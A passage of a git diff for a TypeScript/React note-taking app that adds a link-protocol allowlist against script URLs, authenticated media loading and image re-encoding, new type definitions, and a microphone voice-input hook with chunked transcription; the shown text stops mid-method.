@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
|
||||
{token.slice(2, -2)}
|
||||
</del>
|
||||
);
|
||||
} else if (token.startsWith('[') && match[2] && match[3]) {
|
||||
} else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
|
||||
const label = match[2];
|
||||
const url = match[3];
|
||||
const url = safeHref(match[3]) as string;
|
||||
elements.push(
|
||||
<a
|
||||
key={key}
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
// Images and audio in notes. A block points to its file through its content:
|
||||
// image 
|
||||
// audio [Beschriftung](media:med_…)
|
||||
// so the reference travels with the normal note sync. Files are loaded with the login (fetch) and
|
||||
// shown as blob: URLs; there are no public links.
|
||||
import { getToken } from './api';
|
||||
|
||||
const MEDIA_RE = /^!?\[((?:[^\]\\]|\\.)*)\]\(media:(med_[0-9a-f]+)\)$/;
|
||||
|
||||
export interface MediaRef {
|
||||
id: string;
|
||||
caption: string;
|
||||
}
|
||||
|
||||
export function parseMediaContent(content: string): MediaRef | null {
|
||||
const m = MEDIA_RE.exec((content || '').trim());
|
||||
if (!m) return null;
|
||||
return { id: m[2], caption: m[1].replace(/\\(.)/g, '$1') };
|
||||
}
|
||||
|
||||
export function mediaContent(kind: 'image' | 'audio', id: string, caption = ''): string {
|
||||
const safe = caption.replace(/[\r\n]+/g, ' ').replace(/([\\\]])/g, '\\$1');
|
||||
return `${kind === 'image' ? '!' : ''}[${safe}](media:${id})`;
|
||||
}
|
||||
|
||||
// Loaded files, once per page. The Blob is kept as well: the CSP does not allow fetch() on blob: URLs.
|
||||
const loaded = new Map<string, Promise<{ blob: Blob; url: string }>>();
|
||||
|
||||
function loadMedia(id: string): Promise<{ blob: Blob; url: string }> {
|
||||
return loadAuthorized(`/api/v1/media/${encodeURIComponent(id)}`);
|
||||
}
|
||||
|
||||
/** Any picture of the API (needs the login, so no plain <img src>), as Blob plus blob: URL. */
|
||||
export function loadAuthorized(path: string): Promise<{ blob: Blob; url: string }> {
|
||||
let p = loaded.get(path);
|
||||
if (!p) {
|
||||
p = (async () => {
|
||||
const token = getToken();
|
||||
const res = await fetch(path, {
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
});
|
||||
if (!res.ok) throw new Error(res.status === 404 ? 'Datei nicht gefunden' : `HTTP ${res.status}`);
|
||||
const blob = await res.blob();
|
||||
return { blob, url: URL.createObjectURL(blob) };
|
||||
})();
|
||||
p.catch(() => loaded.delete(path)); // try again next time (e.g. was offline)
|
||||
loaded.set(path, p);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
/** blob: URL of a file for <img>/<audio>. */
|
||||
export function mediaObjectURL(id: string): Promise<string> {
|
||||
return loadMedia(id).then((m) => m.url);
|
||||
}
|
||||
|
||||
/** The file itself, e.g. to send a recording to the speech recognition. */
|
||||
export function mediaBlob(id: string): Promise<Blob> {
|
||||
return loadMedia(id).then((m) => m.blob);
|
||||
}
|
||||
|
||||
export interface UploadedMedia {
|
||||
id: string;
|
||||
kind: 'image' | 'audio';
|
||||
mime: string;
|
||||
size: number;
|
||||
url: string;
|
||||
}
|
||||
|
||||
async function mediaRequest(path: string, init: RequestInit): Promise<UploadedMedia> {
|
||||
const token = getToken();
|
||||
const res = await fetch(path, {
|
||||
...init,
|
||||
headers: { ...(init.headers as Record<string, string>), ...(token ? { Authorization: `Bearer ${token}` } : {}) },
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || `Hochladen fehlgeschlagen (HTTP ${res.status})`);
|
||||
return data as UploadedMedia;
|
||||
}
|
||||
|
||||
export function uploadMedia(docId: string, file: Blob, filename: string): Promise<UploadedMedia> {
|
||||
const form = new FormData();
|
||||
form.append('file', file, filename);
|
||||
return mediaRequest(`/api/v1/documents/${encodeURIComponent(docId)}/media`, { method: 'POST', body: form });
|
||||
}
|
||||
|
||||
/** Lets the server copy an external image (https). */
|
||||
export function copyExternalImage(docId: string, url: string): Promise<UploadedMedia> {
|
||||
return mediaRequest(`/api/v1/documents/${encodeURIComponent(docId)}/media/fetch`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ url }),
|
||||
});
|
||||
}
|
||||
|
||||
const MAX_EDGE = 2048;
|
||||
|
||||
function canvasBlob(canvas: HTMLCanvasElement, type: string, quality: number): Promise<Blob | null> {
|
||||
return new Promise((resolve) => canvas.toBlob((b) => resolve(b), type, quality));
|
||||
}
|
||||
|
||||
/**
|
||||
* Shrinks photos to at most 2048 px and stores them as WebP (JPEG where the browser cannot write WebP).
|
||||
* Re-encoding also drops EXIF data such as the location. GIFs stay as they are (animation); anything
|
||||
* the browser cannot decode is sent unchanged and checked by the server.
|
||||
*/
|
||||
export async function prepareImage(file: Blob): Promise<{ blob: Blob; name: string }> {
|
||||
if (file.type === 'image/gif' || typeof createImageBitmap === 'undefined') return { blob: file, name: 'bild' };
|
||||
let bitmap: ImageBitmap;
|
||||
try {
|
||||
bitmap = await createImageBitmap(file, { imageOrientation: 'from-image' } as ImageBitmapOptions);
|
||||
} catch {
|
||||
return { blob: file, name: 'bild' };
|
||||
}
|
||||
const scale = Math.min(1, MAX_EDGE / Math.max(bitmap.width, bitmap.height));
|
||||
const canvas = document.createElement('canvas');
|
||||
canvas.width = Math.max(1, Math.round(bitmap.width * scale));
|
||||
canvas.height = Math.max(1, Math.round(bitmap.height * scale));
|
||||
const ctx = canvas.getContext('2d');
|
||||
if (!ctx) return { blob: file, name: 'bild' };
|
||||
ctx.drawImage(bitmap, 0, 0, canvas.width, canvas.height);
|
||||
bitmap.close?.();
|
||||
const webp = await canvasBlob(canvas, 'image/webp', 0.82);
|
||||
if (webp && webp.type === 'image/webp') return { blob: webp, name: 'bild.webp' };
|
||||
// No WebP encoder (older Safari): JPEG on white, since JPEG has no transparency
|
||||
ctx.globalCompositeOperation = 'destination-over';
|
||||
ctx.fillStyle = '#ffffff';
|
||||
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||
const jpeg = await canvasBlob(canvas, 'image/jpeg', 0.85);
|
||||
return jpeg ? { blob: jpeg, name: 'bild.jpg' } : { blob: file, name: 'bild' };
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
|
||||
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
|
||||
// context when clicked, so it is shown as plain text instead (FLAW-28).
|
||||
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
|
||||
|
||||
export function safeHref(raw: string): string | null {
|
||||
const value = raw.trim();
|
||||
if (!value) return null;
|
||||
try {
|
||||
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
|
||||
const url = new URL(value);
|
||||
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
|
||||
} catch {
|
||||
return null; // relative or broken: not a link
|
||||
}
|
||||
}
|
||||
@@ -21,11 +21,57 @@ export interface AuthStatus {
|
||||
privacyUrl?: string;
|
||||
hasPrivacyContent?: boolean;
|
||||
};
|
||||
// Voice input: own Whisper server, the browser's recognition, or switched off (STT_* environment)
|
||||
voice?: { mode: VoiceMode; maxSeconds: number };
|
||||
}
|
||||
|
||||
export type VoiceMode = 'server' | 'browser' | 'off';
|
||||
|
||||
// Admin view of the speech recognition (read-only, configured by environment)
|
||||
export interface VoiceAdminStatus {
|
||||
mode: VoiceMode;
|
||||
demo: boolean;
|
||||
url?: string;
|
||||
model?: string;
|
||||
language?: string;
|
||||
apiKeySet?: boolean;
|
||||
maxSeconds: number;
|
||||
maxUploadMb: number;
|
||||
maxParallel: number;
|
||||
perUserPerHour: number;
|
||||
timeoutSeconds: number;
|
||||
status?: { reachable: boolean; modelReady: boolean; error?: string; checkedAt?: string };
|
||||
}
|
||||
|
||||
// Who can see whom: nobody, members of the same organization, or everybody (Doku/sharing-and-permissions.md)
|
||||
export type SharingMode = 'private' | 'organizations' | 'open';
|
||||
|
||||
export interface NotificationChannelRouting {
|
||||
email: boolean;
|
||||
discord: boolean;
|
||||
}
|
||||
|
||||
export interface NotificationEvents {
|
||||
due: NotificationChannelRouting;
|
||||
shared: NotificationChannelRouting;
|
||||
taskDone: NotificationChannelRouting;
|
||||
watched: NotificationChannelRouting;
|
||||
}
|
||||
|
||||
export interface DailySummarySettings {
|
||||
enabled: boolean;
|
||||
time: string;
|
||||
email: boolean;
|
||||
discord: boolean;
|
||||
}
|
||||
|
||||
export interface NotificationSettings {
|
||||
paused: boolean;
|
||||
includeOwnWatched: boolean;
|
||||
events: NotificationEvents;
|
||||
dailySummary: DailySummarySettings;
|
||||
}
|
||||
|
||||
export interface User {
|
||||
id: string;
|
||||
email: string;
|
||||
@@ -39,6 +85,7 @@ export interface User {
|
||||
discordWebhookUrl?: string;
|
||||
customWebhookUrl?: string;
|
||||
notifyBeforeMinutes?: number;
|
||||
notificationSettings?: NotificationSettings;
|
||||
organizationId?: string;
|
||||
createdAt: string;
|
||||
}
|
||||
@@ -93,6 +140,7 @@ export interface Thought {
|
||||
subtasks?: SubTask[];
|
||||
assignees?: string[]; // user IDs, only people with access to the task list
|
||||
recurrence?: Recurrence;
|
||||
isWatching?: boolean;
|
||||
alarmSent?: boolean;
|
||||
sortOrder?: number;
|
||||
createdAt: string;
|
||||
@@ -180,8 +228,10 @@ export interface SystemSettings {
|
||||
smtpHost?: string;
|
||||
smtpPort?: string; // sent as text, like the server stores it
|
||||
smtpUser?: string;
|
||||
smtpPass?: string;
|
||||
smtpPass?: string; // write only: the server never sends it back, empty keeps the stored one
|
||||
smtpPassSet?: boolean;
|
||||
smtpFrom?: string;
|
||||
smtpFromName?: string; // display name when smtpFrom is a bare address (empty = MindSift)
|
||||
smtpTls?: boolean;
|
||||
smtpSkipVerify?: boolean;
|
||||
allowPrivateWebhooks?: boolean; // alarm webhooks may reach the LAN (and plain http)
|
||||
@@ -209,7 +259,7 @@ export const DATA_SECTIONS: { id: DataSection; label: string }[] = [
|
||||
{ id: 'themes', label: 'Themes' },
|
||||
];
|
||||
|
||||
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress';
|
||||
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress' | 'image' | 'audio';
|
||||
|
||||
export interface DocumentBlock {
|
||||
id: string;
|
||||
@@ -532,3 +582,21 @@ export interface WSMessage<T = any> {
|
||||
payload: T;
|
||||
timestamp: string;
|
||||
}
|
||||
|
||||
// A logged-in device (Profil & Sicherheit)
|
||||
export interface Session {
|
||||
id: string;
|
||||
createdAt: string;
|
||||
lastUsedAt: string;
|
||||
userAgent: string;
|
||||
ip: string;
|
||||
current: boolean;
|
||||
}
|
||||
|
||||
// Answer of merging two notes; kept by the client to undo it
|
||||
export interface MergeResult {
|
||||
targetId: string;
|
||||
sourceId: string;
|
||||
sourceTitle: string;
|
||||
headingId: string;
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { api } from './api';
|
||||
import { browserRecognition, currentVoiceConfig, EffectiveVoiceMode, loadVoiceConfig, VoiceRecorder } from './voice';
|
||||
|
||||
export type VoiceState = 'idle' | 'listening' | 'transcribing';
|
||||
|
||||
export interface VoiceInputOptions {
|
||||
/** Text of the current recording; in browser mode repeatedly while speaking (final=false), always once at the end (final=true). */
|
||||
onText: (text: string, final: boolean) => void;
|
||||
onError?: (message: string) => void;
|
||||
/** Browser mode: keep listening through pauses (hold-to-record) instead of stopping after a sentence. */
|
||||
continuous?: boolean;
|
||||
/** Live dictation mode (/diktat): auto-restart browser speech recognition on pause, and chunk server recordings every ~8s or ~0.8s of silence. */
|
||||
live?: boolean;
|
||||
}
|
||||
|
||||
const LIVE_CHUNK_MS = 8000;
|
||||
const LIVE_SILENCE_MS = 800;
|
||||
const LIVE_TICK_MS = 200;
|
||||
const LIVE_SPEECH_LEVEL = 0.02;
|
||||
const MIN_RESTART_INTERVAL_MS = 300;
|
||||
|
||||
/**
|
||||
* Microphone input for one button: start, stop (text arrives), cancel (nothing arrives). How the text
|
||||
* is made depends on the server setting, see lib/voice.ts. mode is null until known, "off" or
|
||||
* "unsupported" means: do not show a microphone.
|
||||
*/
|
||||
export function useVoiceInput({ onText, onError, continuous = false, live = false }: VoiceInputOptions) {
|
||||
const [mode, setMode] = useState<EffectiveVoiceMode | null>(null);
|
||||
const [state, setState] = useState<VoiceState>('idle');
|
||||
const [pendingChunks, setPendingChunks] = useState(0);
|
||||
const maxSecondsRef = useRef(600);
|
||||
const recorderRef = useRef<VoiceRecorder | null>(null);
|
||||
const recognitionRef = useRef<any>(null);
|
||||
const timerRef = useRef<number | null>(null);
|
||||
const segmentTimerRef = useRef<number | null>(null);
|
||||
const restartTimerRef = useRef<number | null>(null);
|
||||
const cancelledRef = useRef(false);
|
||||
const stoppedRef = useRef(false);
|
||||
const transcriptRef = useRef('');
|
||||
const baseTranscriptRef = useRef('');
|
||||
const lastRestartAtRef = useRef(0);
|
||||
const chunkIndexRef = useRef(0);
|
||||
const chunkResultsRef = useRef<Map<number, string>>(new Map());
|
||||
const inFlightChunksRef = useRef(0);
|
||||
const mountedRef = useRef(true);
|
||||
const onTextRef = useRef(onText);
|
||||
onTextRef.current = onText;
|
||||
const onErrorRef = useRef(onError);
|
||||
onErrorRef.current = onError;
|
||||
|
||||
const clearAllTimers = () => {
|
||||
if (timerRef.current !== null) window.clearTimeout(timerRef.current);
|
||||
timerRef.current = null;
|
||||
if (segmentTimerRef.current !== null) window.clearInterval(segmentTimerRef.current);
|
||||
segmentTimerRef.current = null;
|
||||
if (restartTimerRef.current !== null) window.clearTimeout(restartTimerRef.current);
|
||||
restartTimerRef.current = null;
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
mountedRef.current = true;
|
||||
void loadVoiceConfig().then((cfg) => {
|
||||
if (!mountedRef.current) return;
|
||||
setMode(cfg.mode);
|
||||
maxSecondsRef.current = cfg.maxSeconds;
|
||||
});
|
||||
return () => {
|
||||
mountedRef.current = false;
|
||||
clearAllTimers();
|
||||
recorderRef.current?.cancel();
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
const setStateSafe = (s: VoiceState) => {
|
||||
if (mountedRef.current) setState(s);
|
||||
};
|
||||
const setPendingChunksSafe = (n: number) => {
|
||||
if (mountedRef.current) setPendingChunks(n);
|
||||
};
|
||||
const fail = (message: string) => {
|
||||
setStateSafe('idle');
|
||||
setPendingChunksSafe(0);
|
||||
onErrorRef.current?.(message);
|
||||
};
|
||||
|
||||
const joinedChunkText = () =>
|
||||
[...chunkResultsRef.current.entries()]
|
||||
.sort((a, b) => a[0] - b[0])
|
||||
.map(([, t]) => t.trim())
|
||||
.filter(Boolean)
|
||||
.join(' ');
|
||||
|
||||
const processSegmentPromise = (idx: number, blobPromise: Promise<Blob | null>) => {
|
||||
inFlightChunksRef.current += 1;
|
||||
setPendingChunksSafe(inFlightChunksRef.current);
|
||||
void blobPromise
|
||||
.then(async (blob) => {
|
||||
if (cancelledRef.current) return;
|
||||
if (!blob || blob.size === 0) {
|
||||
inFlightChunksRef.current = Math.max(0, inFlightChunksRef.current - 1);
|
||||
setPendingChunksSafe(inFlightChunksRef.current);
|
||||
if (stoppedRef.current && inFlightChunksRef.current === 0) {
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(joinedChunkText(), true);
|
||||
}
|
||||
return;
|
||||
}
|
||||
const text = await api.transcribe(blob);
|
||||
if (cancelledRef.current) return;
|
||||
chunkResultsRef.current.set(idx, text || '');
|
||||
inFlightChunksRef.current = Math.max(0, inFlightChunksRef.current - 1);
|
||||
setPendingChunksSafe(inFlightChunksRef.current);
|
||||
const combined = joinedChunkText();
|
||||
transcriptRef.current = combined;
|
||||
if (stoppedRef.current && inFlightChunksRef.current === 0) {
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(combined, true);
|
||||
} else {
|
||||
onTextRef.current(combined, false);
|
||||
}
|
||||
})
|
||||
.catch((err: any) => {
|
||||
if (cancelledRef.current) return;
|
||||
cancelledRef.current = true;
|
||||
inFlightChunksRef.current = 0;
|
||||
clearAllTimers();
|
||||
recorderRef.current?.cancel();
|
||||
recorderRef.current = null;
|
||||
fail(err?.message || 'Spracherkennung fehlgeschlagen');
|
||||
});
|
||||
};
|
||||
|
||||
const stop = useCallback(async () => {
|
||||
stoppedRef.current = true;
|
||||
clearAllTimers();
|
||||
if (recognitionRef.current) {
|
||||
try {
|
||||
recognitionRef.current.stop();
|
||||
} catch {
|
||||
// onend still follows
|
||||
}
|
||||
return;
|
||||
}
|
||||
const rec = recorderRef.current;
|
||||
if (!rec) {
|
||||
if (live && state === 'listening') {
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(transcriptRef.current, true);
|
||||
}
|
||||
return;
|
||||
}
|
||||
recorderRef.current = null;
|
||||
if (live) {
|
||||
const idx = chunkIndexRef.current++;
|
||||
setStateSafe('transcribing');
|
||||
processSegmentPromise(idx, rec.stop());
|
||||
return;
|
||||
}
|
||||
const blob = await rec.stop();
|
||||
if (cancelledRef.current) return;
|
||||
if (!blob) {
|
||||
setStateSafe('idle');
|
||||
onTextRef.current('', true);
|
||||
return;
|
||||
}
|
||||
setStateSafe('transcribing');
|
||||
try {
|
||||
const text = await api.transcribe(blob);
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(text, true);
|
||||
} catch (err: any) {
|
||||
fail(err?.message || 'Spracherkennung fehlgeschlagen');
|
||||
}
|
||||
// fail only touches refs and state setters
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [live, state]);
|
||||
|
||||
const startServer = async () => {
|
||||
const rec = new VoiceRecorder();
|
||||
recorderRef.current = rec;
|
||||
chunkIndexRef.current = 0;
|
||||
chunkResultsRef.current = new Map();
|
||||
inFlightChunksRef.current = 0;
|
||||
setPendingChunksSafe(0);
|
||||
setStateSafe('listening');
|
||||
try {
|
||||
await rec.start();
|
||||
} catch {
|
||||
recorderRef.current = null;
|
||||
fail('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
|
||||
return;
|
||||
}
|
||||
if (cancelledRef.current || recorderRef.current !== rec) {
|
||||
rec.cancel();
|
||||
return;
|
||||
}
|
||||
timerRef.current = window.setTimeout(() => void stop(), maxSecondsRef.current * 1000);
|
||||
if (live) {
|
||||
let segmentMs = 0;
|
||||
let silentMs = 0;
|
||||
let hadSpeech = false;
|
||||
segmentTimerRef.current = window.setInterval(() => {
|
||||
if (cancelledRef.current || stoppedRef.current || recorderRef.current !== rec) return;
|
||||
const lvl = rec.level();
|
||||
if (lvl !== null) {
|
||||
if (lvl >= LIVE_SPEECH_LEVEL) {
|
||||
hadSpeech = true;
|
||||
silentMs = 0;
|
||||
} else if (hadSpeech) {
|
||||
silentMs += LIVE_TICK_MS;
|
||||
}
|
||||
}
|
||||
segmentMs += LIVE_TICK_MS;
|
||||
if (segmentMs >= LIVE_CHUNK_MS || (hadSpeech && silentMs >= LIVE_SILENCE_MS)) {
|
||||
segmentMs = 0;
|
||||
silentMs = 0;
|
||||
hadSpeech = false;
|
||||
const idx = chunkIndexRef.current++;
|
||||
processSegmentPromise(idx, rec.cutSegment());
|
||||
}
|
||||
}, LIVE_TICK_MS);
|
||||
}
|
||||
};
|
||||
|
||||
const spawnBrowserRecognition = (Recognition: any, isRestart: boolean) => {
|
||||
const recognition = new Recognition();
|
||||
recognition.lang = 'de-DE';
|
||||
recognition.interimResults = true;
|
||||
recognition.continuous = continuous || live;
|
||||
recognition.onresult = (event: any) => {
|
||||
let sessionText = '';
|
||||
for (let i = 0; i < event.results.length; i++) sessionText += event.results[i][0].transcript;
|
||||
if (live && baseTranscriptRef.current) {
|
||||
const base = baseTranscriptRef.current.trimEnd();
|
||||
const next = sessionText.trimStart();
|
||||
transcriptRef.current = next ? `${base} ${next}` : base;
|
||||
} else {
|
||||
transcriptRef.current = sessionText;
|
||||
}
|
||||
onTextRef.current(transcriptRef.current, false);
|
||||
};
|
||||
recognition.onerror = (event: any) => {
|
||||
if (event?.error === 'not-allowed' || event?.error === 'service-not-allowed') {
|
||||
cancelledRef.current = true;
|
||||
clearAllTimers();
|
||||
recognitionRef.current = null;
|
||||
fail('Mikrofon nicht freigegeben');
|
||||
}
|
||||
};
|
||||
recognition.onend = () => {
|
||||
recognitionRef.current = null;
|
||||
if (cancelledRef.current) {
|
||||
clearAllTimers();
|
||||
return;
|
||||
}
|
||||
if (!live || stoppedRef.current) {
|
||||
clearAllTimers();
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(transcriptRef.current, true);
|
||||
return;
|
||||
}
|
||||
baseTranscriptRef.current = transcriptRef.current;
|
||||
const now = Date.now();
|
||||
const elapsed = now - lastRestartAtRef.current;
|
||||
const doRestart = () => {
|
||||
if (cancelledRef.current || stoppedRef.current) return;
|
||||
lastRestartAtRef.current = Date.now();
|
||||
spawnBrowserRecognition(Recognition, true);
|
||||
};
|
||||
if (lastRestartAtRef.current === 0 || elapsed >= MIN_RESTART_INTERVAL_MS) {
|
||||
doRestart();
|
||||
} else {
|
||||
restartTimerRef.current = window.setTimeout(() => {
|
||||
restartTimerRef.current = null;
|
||||
doRestart();
|
||||
}, MIN_RESTART_INTERVAL_MS - elapsed);
|
||||
}
|
||||
};
|
||||
recognitionRef.current = recognition;
|
||||
if (!isRestart) setStateSafe('listening');
|
||||
try {
|
||||
recognition.start();
|
||||
if (!isRestart) {
|
||||
timerRef.current = window.setTimeout(() => void stop(), maxSecondsRef.current * 1000);
|
||||
}
|
||||
} catch {
|
||||
recognitionRef.current = null;
|
||||
if (!isRestart) {
|
||||
fail('Spracheingabe konnte nicht gestartet werden');
|
||||
} else {
|
||||
clearAllTimers();
|
||||
setStateSafe('idle');
|
||||
onTextRef.current(transcriptRef.current, true);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const startBrowser = () => {
|
||||
const Recognition = browserRecognition();
|
||||
if (!Recognition) {
|
||||
fail('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
return;
|
||||
}
|
||||
baseTranscriptRef.current = '';
|
||||
lastRestartAtRef.current = 0;
|
||||
spawnBrowserRecognition(Recognition, false);
|
||||
};
|
||||
|
||||
const start = useCallback(async () => {
|
||||
if (recorderRef.current || recognitionRef.current) return;
|
||||
cancelledRef.current = false;
|
||||
stoppedRef.current = false;
|
||||
transcriptRef.current = '';
|
||||
baseTranscriptRef.current = '';
|
||||
lastRestartAtRef.current = 0;
|
||||
const current = mode ?? currentVoiceConfig().mode;
|
||||
if (current === 'server') await startServer();
|
||||
else if (current === 'browser') startBrowser();
|
||||
else fail(current === 'off' ? 'Spracheingabe ist ausgeschaltet' : 'Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [mode, continuous, live]);
|
||||
|
||||
const cancel = useCallback(() => {
|
||||
cancelledRef.current = true;
|
||||
stoppedRef.current = true;
|
||||
inFlightChunksRef.current = 0;
|
||||
setPendingChunksSafe(0);
|
||||
clearAllTimers();
|
||||
recorderRef.current?.cancel();
|
||||
recorderRef.current = null;
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
recognitionRef.current = null;
|
||||
setStateSafe('idle');
|
||||
}, []);
|
||||
|
||||
const toggle = useCallback(() => {
|
||||
if (state === 'listening') void stop();
|
||||
else if (state === 'idle') void start();
|
||||
}, [state, start, stop]);
|
||||
|
||||
/** Current input level 0..1 for waves (server mode), null when unknown. */
|
||||
const level = useCallback(() => recorderRef.current?.level() ?? null, []);
|
||||
|
||||
return {
|
||||
mode,
|
||||
available: mode === 'server' || mode === 'browser',
|
||||
state,
|
||||
pendingChunks,
|
||||
start,
|
||||
stop,
|
||||
cancel,
|
||||
toggle,
|
||||
level,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
// Voice input for all places with a microphone button. The server decides how it works (STT_* in the
|
||||
// environment, reported by /auth/status):
|
||||
// server record with MediaRecorder, the own Whisper server turns it into text after stopping
|
||||
// browser the browser's speech recognition (Chrome, Edge, Safari; text appears while speaking)
|
||||
// off no voice input
|
||||
import { api } from './api';
|
||||
import type { VoiceMode } from './types';
|
||||
|
||||
export type EffectiveVoiceMode = VoiceMode | 'unsupported';
|
||||
|
||||
export interface VoiceConfig {
|
||||
mode: EffectiveVoiceMode;
|
||||
maxSeconds: number;
|
||||
}
|
||||
|
||||
let configPromise: Promise<VoiceConfig> | null = null;
|
||||
let loadedConfig: VoiceConfig | null = null;
|
||||
|
||||
export function browserRecognition(): any {
|
||||
if (typeof window === 'undefined') return null;
|
||||
return (window as any).SpeechRecognition || (window as any).webkitSpeechRecognition || null;
|
||||
}
|
||||
|
||||
export function canRecord(): boolean {
|
||||
return typeof window !== 'undefined' && typeof (window as any).MediaRecorder !== 'undefined' && !!navigator.mediaDevices?.getUserMedia;
|
||||
}
|
||||
|
||||
/** What this browser can actually do with the server's setting. */
|
||||
export function effectiveMode(mode: VoiceMode | undefined): EffectiveVoiceMode {
|
||||
if (mode === 'off') return 'off';
|
||||
if (mode === 'server') return canRecord() ? 'server' : 'unsupported';
|
||||
return browserRecognition() ? 'browser' : 'unsupported';
|
||||
}
|
||||
|
||||
/** Loaded once per page; the setting only changes with a server restart. */
|
||||
export function loadVoiceConfig(): Promise<VoiceConfig> {
|
||||
if (!configPromise) {
|
||||
configPromise = api
|
||||
.getAuthStatus()
|
||||
.then((st) => {
|
||||
loadedConfig = { mode: effectiveMode(st.voice?.mode), maxSeconds: st.voice?.maxSeconds || 600 };
|
||||
return loadedConfig;
|
||||
})
|
||||
.catch(() => {
|
||||
configPromise = null; // offline at start: ask again next time
|
||||
return { mode: effectiveMode('browser'), maxSeconds: 600 };
|
||||
});
|
||||
}
|
||||
return configPromise;
|
||||
}
|
||||
|
||||
/** The setting if already loaded; until then the browser's recognition (a button must react at once). */
|
||||
export function currentVoiceConfig(): VoiceConfig {
|
||||
return loadedConfig ?? { mode: effectiveMode('browser'), maxSeconds: 600 };
|
||||
}
|
||||
|
||||
/** For tests. */
|
||||
export function resetVoiceConfig(): void {
|
||||
configPromise = null;
|
||||
loadedConfig = null;
|
||||
}
|
||||
|
||||
// Containers in order of preference; Safari only records MP4/AAC
|
||||
const RECORDING_TYPES = ['audio/webm;codecs=opus', 'audio/webm', 'audio/mp4', 'audio/ogg;codecs=opus'];
|
||||
|
||||
function recordingType(): string | undefined {
|
||||
const MR = (window as any).MediaRecorder;
|
||||
if (!MR?.isTypeSupported) return undefined;
|
||||
return RECORDING_TYPES.find((t) => MR.isTypeSupported(t));
|
||||
}
|
||||
|
||||
/**
|
||||
* One recording from the microphone, with a live input level for wave animations. stop() resolves
|
||||
* with the audio; cancel() throws it away.
|
||||
*/
|
||||
export class VoiceRecorder {
|
||||
private stream: MediaStream | null = null;
|
||||
private recorder: MediaRecorder | null = null;
|
||||
private chunks: Blob[] = [];
|
||||
private audioCtx: AudioContext | null = null;
|
||||
private analyser: AnalyserNode | null = null;
|
||||
private samples: Uint8Array | null = null;
|
||||
private done: ((blob: Blob | null) => void) | null = null;
|
||||
|
||||
async start(): Promise<void> {
|
||||
this.stream = await navigator.mediaDevices.getUserMedia({
|
||||
audio: { echoCancellation: true, noiseSuppression: true, autoGainControl: true },
|
||||
});
|
||||
this.startSegmentRecorder();
|
||||
try {
|
||||
const Ctx = (window as any).AudioContext || (window as any).webkitAudioContext;
|
||||
this.audioCtx = new Ctx();
|
||||
const source = this.audioCtx!.createMediaStreamSource(this.stream);
|
||||
this.analyser = this.audioCtx!.createAnalyser();
|
||||
this.analyser.fftSize = 512;
|
||||
source.connect(this.analyser);
|
||||
this.samples = new Uint8Array(this.analyser.fftSize);
|
||||
void this.audioCtx!.resume?.();
|
||||
} catch {
|
||||
this.analyser = null; // no level, the recording still works
|
||||
}
|
||||
}
|
||||
|
||||
private startSegmentRecorder(): void {
|
||||
if (!this.stream) return;
|
||||
const type = recordingType();
|
||||
const rec = new MediaRecorder(this.stream, type ? { mimeType: type } : undefined);
|
||||
const chunks: Blob[] = [];
|
||||
rec.ondataavailable = (e) => {
|
||||
if (e.data.size > 0) chunks.push(e.data);
|
||||
};
|
||||
rec.onstop = () => {
|
||||
const blob = chunks.length ? new Blob(chunks, { type: rec.mimeType || type || 'audio/webm' }) : null;
|
||||
this.release();
|
||||
this.done?.(blob);
|
||||
this.done = null;
|
||||
};
|
||||
this.recorder = rec;
|
||||
this.chunks = chunks;
|
||||
rec.start(1000);
|
||||
}
|
||||
|
||||
/** Input level 0..1 (roughly loudness), or null when unknown. */
|
||||
level(): number | null {
|
||||
if (!this.analyser || !this.samples) return null;
|
||||
this.analyser.getByteTimeDomainData(this.samples as Uint8Array<ArrayBuffer>);
|
||||
let sum = 0;
|
||||
for (const v of this.samples) {
|
||||
const x = (v - 128) / 128;
|
||||
sum += x * x;
|
||||
}
|
||||
return Math.min(1, Math.sqrt(sum / this.samples.length) * 4);
|
||||
}
|
||||
|
||||
stop(): Promise<Blob | null> {
|
||||
return new Promise((resolve) => {
|
||||
if (!this.recorder || this.recorder.state === 'inactive') {
|
||||
this.release();
|
||||
resolve(null);
|
||||
return;
|
||||
}
|
||||
this.done = resolve;
|
||||
